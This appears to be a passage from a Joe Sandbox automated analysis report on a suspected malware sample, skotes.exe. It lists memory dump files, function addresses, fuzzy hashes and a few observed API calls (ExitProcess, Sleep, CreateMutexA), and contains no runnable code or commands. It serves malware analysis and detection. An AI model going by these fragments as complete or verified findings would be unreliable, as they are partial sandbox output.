Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 5f2c39b485ce67a8617b30a20536a1956d4bd7c13b5051d59f9cd41d071bb85f
Instruction ID: 249feae23637ec938c145b29fcf496bc5a24920adc48655680902574a259e57c
Opcode Fuzzy Hash: 5f2c39b485ce67a8617b30a20536a1956d4bd7c13b5051d59f9cd41d071bb85f
Instruction Fuzzy Hash: AAA1E1B0A05605AFDF21DF68C944BAAB7F8FF56314F048129E815DB291EB35EA04CBD1

Analysis Process: skotes.exePID: 3872, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	590
Total number of Limit Nodes:	4

Executed Functions

Function 009C652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,009C652A,?,?,?,?,?,009C7661), ref: 009C6567

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b667d5047b7d7bb3e3f0daab83371e1a09455745ca5800a294510e2be8c859a3
Instruction ID: cd834d76930c5d21be1859a8c6fda57498d7b0eccbcba89fd79fee1828ef129f
Opcode Fuzzy Hash: b667d5047b7d7bb3e3f0daab83371e1a09455745ca5800a294510e2be8c859a3
Instruction Fuzzy Hash: DCE08C30550688AECF29BB18C81DF893B6EEB95745F600808F81886222CB65DE82C682

Function 00999BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 04ea3846c6f34b2a78726cb56bd3413f8e2e5e3066ebed8b9c5c32e7f4f0035b
Instruction ID: e59dbcc74d8622dacdd495d226fc0d3598b2545d37bd2c971524337e4a2d4e3c
Opcode Fuzzy Hash: 04ea3846c6f34b2a78726cb56bd3413f8e2e5e3066ebed8b9c5c32e7f4f0035b
Instruction Fuzzy Hash: A4315D31B042448BEF18EB7CDCC976DB7A6EBC6310F24821CE018973D6D77949808B91

Function 00999F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 07b254b4625f38473734525f2346d9f659a43de0b4871685d03d5fce0e0f5d96
Instruction ID: 9809539c5120d02fae7c51e6931168313fa8e793216d5f1392e795df2a5e09e0
Opcode Fuzzy Hash: 07b254b4625f38473734525f2346d9f659a43de0b4871685d03d5fce0e0f5d96
Instruction Fuzzy Hash: 2C314A31B041448BEF18AB7CDC8D7ADF7A6EBC6310F208618E429D76D5C73589808B92

Function 0099A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746173032.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746189720.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746203564.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746218587.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746233039.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746248934.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 13e72b2c3615fa86e378d3a3acccda3078145212e814ae9db74112c476c8c528
Instruction ID: be814496cd7ac03bd3bcd979d063f3a2edb4617b91da820c666118352aca3e86
Opcode Fuzzy Hash: 13e72b2c3615fa86e378d3a3acccda3078145212e814ae9db74112c476c8c528
Instruction Fuzzy Hash: 11316D31B141449BEF18DB7CCC897ADB776EBC6310F248218E024977D5C73A9980CB92

Function 0099A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
CreateMutexA.KERNELBASE(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000002.00000002.1745392722.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000002.00000002.1745349772.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745392722.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745459949.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745480653.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745501027.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745617345.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745636642.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745707893.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745727594.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745747076.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745766672.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745789338.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745809375.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745829622.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745849302.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745864618.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745879670.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745898208.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745914345.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745928282.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745942330.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745959384.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745974412.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1745992516.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746007778.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746022989.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746037459.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746051297.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746067534.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746081585.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746096283.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746109986.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1746124509.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
